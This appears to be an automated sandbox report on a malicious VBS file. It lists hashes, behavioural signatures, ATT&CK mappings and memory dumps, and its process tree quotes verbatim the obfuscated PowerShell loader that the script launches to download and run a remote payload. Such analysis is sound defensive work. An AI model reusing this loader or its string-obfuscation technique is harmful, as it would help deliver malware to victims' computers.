6ba04f3305a8ad725bb10054b415cd4e436a2ac6ee7773821f6f9c83c711b0d2

Analysis

max time kernel
148s
max time network
150s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02-12-2024 01:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7ab71eea03d84976609bb0ed19aa1b33b784731a357065900618ae4c3b8761db.vbs
Size

67KB
MD5

4446681fce0cae163942eb162fd4ee76
SHA1

9c235cf72cebbbb0c5bd480add8f1c2db437b793
SHA256

7ab71eea03d84976609bb0ed19aa1b33b784731a357065900618ae4c3b8761db
SHA512

59dbcf1a8255e51f29825856cbeef269cf0584350570bb073dd5988a0ab2bbc6a8a13628405d30e7056b722b64be2e06e86ac576c0d1609dd524f0e1d95afb5f
SSDEEP

1536:TX7JwDwA6PgDQSjdOWZOVKgHrf6ZufkDt159fW7ajc:TXPIciZ+Korf6ZC2tdfW7ic

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	2324	powershell.exe
6	2324	powershell.exe
7	2324	powershell.exe
8	2324	powershell.exe
9	2324	powershell.exe
10	2324	powershell.exe
11	2324	powershell.exe
12	2324	powershell.exe
13	2324	powershell.exe
14	2324	powershell.exe
15	2324	powershell.exe
16	2324	powershell.exe
17	2324	powershell.exe
18	2324	powershell.exe
19	2324	powershell.exe
20	2324	powershell.exe
21	2324	powershell.exe
22	2324	powershell.exe
23	2324	powershell.exe
24	2324	powershell.exe
25	2324	powershell.exe
26	2324	powershell.exe
27	2324	powershell.exe
28	2324	powershell.exe
29	2324	powershell.exe
30	2324	powershell.exe
31	2324	powershell.exe
32	2324	powershell.exe
33	2324	powershell.exe
34	2324	powershell.exe
35	2324	powershell.exe
36	2324	powershell.exe
37	2324	powershell.exe
38	2324	powershell.exe
39	2324	powershell.exe
40	2324	powershell.exe
41	2324	powershell.exe
42	2324	powershell.exe
43	2324	powershell.exe
44	2324	powershell.exe
45	2324	powershell.exe
46	2324	powershell.exe
47	2324	powershell.exe
48	2324	powershell.exe
49	2324	powershell.exe
50	2324	powershell.exe
51	2324	powershell.exe
52	2324	powershell.exe
53	2324	powershell.exe
54	2324	powershell.exe
55	2324	powershell.exe
56	2324	powershell.exe
57	2324	powershell.exe
58	2324	powershell.exe
59	2324	powershell.exe
60	2324	powershell.exe
61	2324	powershell.exe
62	2324	powershell.exe
63	2324	powershell.exe
64	2324	powershell.exe
65	2324	powershell.exe
66	2324	powershell.exe
67	2324	powershell.exe
68	2324	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2324	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 2324	2532	WScript.exe	30
PID 2532 wrote to memory of 2324	2532	WScript.exe	30
PID 2532 wrote to memory of 2324	2532	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7ab71eea03d84976609bb0ed19aa1b33b784731a357065900618ae4c3b8761db.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$eroticizing='Federarie';;$Slambehandlingsanlggets='Shadowishly';;$Udfolder='Briarwood';;$Jkel='Backingbandet';;$Gangarealerne138='Karakteristikkernes';;$Dokumenttype=$host.Name;function Hjemmemarkedernes($Rodfstede){If ($Dokumenttype) {$Afhjulpne=2} for ($Fabrikationens=$Afhjulpne;;$Fabrikationens+=3){if(!$Rodfstede[$Fabrikationens]) { break }$Puncheon+=$Rodfstede[$Fabrikationens]}$Puncheon}function auspiciums($ouananiche){ .($Recirculated) ($ouananiche)}$Cockneyfying=Hjemmemarkedernes ' n .EPiT .UnwTiE eBEpc,eLUsIHaeH nR T';$Noncandescent=Hjemmemarkedernes 'AaMlno AzT,iInl ,l a,e/';$Thoracostenosis=Hjemmemarkedernes 'S.T OlA,sTh1We2';$Kartonets247='Jo[ SNAnE oTB . ,S,nES.RA v ,I RCSte ,pslO riKnN.iTMambaaHan ,AE GSmEStr ] l:G :D S DEV.CTeuCerBiIFotDuY EP rR.aOMiT iOm csuoTel r= L$CotArHVgOXeRDiaTacAcoUnSP tEpEUnNS OP,sV iHes';$Noncandescent+=Hjemmemarkedernes 'No5 e.f 0St R(G WeriScn.odAuoRewTos K RgNAdTSl Sr1Oa0,e.Cr0Un;Go EpW eiKun,r6 D4Ty;Re ax o6Fi4 a; HrOxvAf: V1 r3Si1 H.De0Da) l .GTveGacStkOvoSt/Ma2Be0Re1Co0I.0 O1de0in1Ho ChF HiBhrGeeSkfIdo rxUn/Re1m,3Ib1lu. i0';$Engangsafgift=Hjemmemarkedernes '.aU.iS oeCrr l-PyADigUne NS.t';$Ammunitionsfabrikkens=Hjemmemarkedernes ' Th tCot Fp.tsdv:Sp/Pa/ wUtw.nwO .AdlExeMebInePen es.erEkaFreOluIam MeUd-KogStgHamS bUnhAk.Ind Se / StCoep mThpAnlSdaT tO.eSt/Hei.on ecRu_LycAfsJesSt/Fys op seMec ,iPlfLeiU.cMa/ReKslv uiUmdcorMoeG da.eP sMo. BpR c nz';$moistureproof=Hjemmemarkedernes ' B>';$Recirculated=Hjemmemarkedernes 'viiSkEKeX';$Anionics='Resbolig';$Arcuation='\raadede.Erg';auspiciums (Hjemmemarkedernes 'Un$M,g Ul mO.tbBiAJaL :GhlQyYU,OEfnUneAbtBlIFyaEo=Bo$UnE,vnAavSi: OAtiPSuPunD ta pTTrA A+bl$S aUnrSec,auGraStt CIFooAfn');auspiciums (Hjemmemarkedernes ' .$Sig rl,rOInBL a rlFo:BaR iiSanStN eI dEbe=Vi$ BA .m mAmUL n ,iItTG IMaoSpNSpS eFNoaEnbmerUfi kR KVaePrn TSBa.EnsMaP SLM IAnTTi(Wr$BiMpaoTaIMos rtBuUq REpEDyp mrS OTro dFLi)');auspiciums (Hjemmemarkedernes $Kartonets247);$Ammunitionsfabrikkens=$Rinnie[0];$Chaffer=(Hjemmemarkedernes 'gu$ovGBulMaOMiBIsaKrlMa: Tb Ko,urGaTSySAnk MAD F aF SE alFosS,e KSK mcoENots o OdSieKoR mnMoEAd= BnPrEY.WSt- COSuBSkjOvEDuCUntF HjSCoYK S QTNeEF MS .S $ fc .OL c Hk ,n Ce rY RfSuyB i eN og');auspiciums ($Chaffer);auspiciums (Hjemmemarkedernes 'h $,sBVioSerSttA s.ukB aTufPrf PeFrlNasAneTes dm jeGatUnoEgdBue r Kn ,e N.BeHZ,ehaaB dwieUdrPhsko[I $ ERennegPoaPanU.g,rs,eaWifGagS.iG fRntUd] a=p $ N.oo,anYac raR.nRedS e.tsMac LeFon .t');$Internes=Hjemmemarkedernes 'se$E BAfoPlrRat sNok aCefKofSce Sl.lsNoeAnsTem.ae,ntFaoRodSpeAnrO.nUnet .,mDMooSlwA.n lStoGaaOrd OFIni elAdeAt( n$CaAS mGom vuPsnT,iOrt SiP o OnL.sInfE a Fbpir.yiMak tkM eminGls a,Rh$MyO.ykInsT.e ojReeBa)';$Okseje=$Lyonetia;auspiciums (Hjemmemarkedernes '.a$Kog.eL oo ABBeAF,lUn: EU,tN kAFrdXeDVaUVecCoe.ga,sB,olAfe ,=,y(PaTK ETesLeTSt-PrpMeaUnT CH B Sl$ o UK esFrEP JUnEFn)');while (!$Unadduceable) {auspiciums (Hjemmemarkedernes ' $HegMilV oAdbA a DlD :KoSf t a da MlBrt,raSkn NkKde = A$PrMJ.e nd,t KaT,3M 8') ;auspiciums $Internes;auspiciums (Hjemmemarkedernes ' GsBltInaHeRBlTPa-S.sOlLnoEK EOxP S Qu4');auspiciums (Hjemmemarkedernes ' $ gKaLReo ,BriAbrl a:JuuUdN DAStDC dIrUVecSuEElaPabSalKaeF,=La( Otb e aSFoT -OmPN aSaTGlh b T$AfoUrk SVaE ,JT e M)') ;auspiciums (Hjemmemarkedernes 'Ch$FlGS,L ,oApBPraTrL o:NyR neUnsW usaBCosTit CADinFrt IbaA.lTBlI tnR g =Un$PuG.kL sOStbFiaCoL,i: UA GSMiHOsL ER s,as s+De+A %Un$PeRtoI onBonObi rEFo.RucSeoBluCoNPaT') ;$Ammunitionsfabrikkens=$Rinnie[$Resubstantiating]}$Catfacing=330712;$Phoning197=28597;auspiciums (Hjemmemarkedernes 'To$SmGjeL CoOvbUna uL A: GOH vlaED R,hc aH,P.nI etR A oL ,IMozMae = O CgCyeS tBa-O.cVaOFoNS.tTrE.uNSiT,r u$Pho TKGus,nE OjP e');auspiciums (Hjemmemarkedernes 'Co$OrgEplFaoMebSvaMilaf:,oFBarAna fS.rFlsE e ,lBleFrnS ,e=Cy ,[ iSBrylnsC t,heDim . CP,ofonMevr.eRnrBrt ]D.:Ma: VF Br tor m rBIsa esBeeFi6 T4 BSAbt .r diO nR gS ( i$.eO vA e rSkcFoa tpGti DtSca Sl siOvzB eSn)');auspiciums (Hjemmemarkedernes ' e$AfGSaLRoO rb,raAml.e: Ap Ve ynE.tSeA esSct Fo ,mInuBomAg Li=Ou [EnS Y uSG.T leG MOp.AfTPse.uxErtCa. rEPeNT.CLaODoD .iUnNAng r] A: ,:p A iS ecPhiDaiO .v gSlEPrtP S VtK r IB.NDegMa(sc$ByF Tr eA ifMaROpS,oeK L pEAnNqu)');auspiciums (Hjemmemarkedernes ' i$GrG hL ounBMea slFc:Udh pU aR ST iIHjGPar dUsuTAvECer ,SU =un$U,P PeRuN ,tL aFesRhTH,OMiMSouA MEv.BrS.eU bHeSTet ,rcai.in BgUl( $Soc a TSufO.aLoCKeI ,NOrGLe, s$ Fp eHlaORenBai eNReGGr1 9M 7In)');auspiciums $Hurtigruters;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2324-4-0x000007FEF5B2E000-0x000007FEF5B2F000-memory.dmp

Filesize
4KB

Download
memory/2324-5-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2324-7-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2324-6-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2324-8-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2324-9-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2324-10-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2324-11-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2324-12-0x000007FEF5B2E000-0x000007FEF5B2F000-memory.dmp

Filesize
4KB

Download
memory/2324-13-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2324-14-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download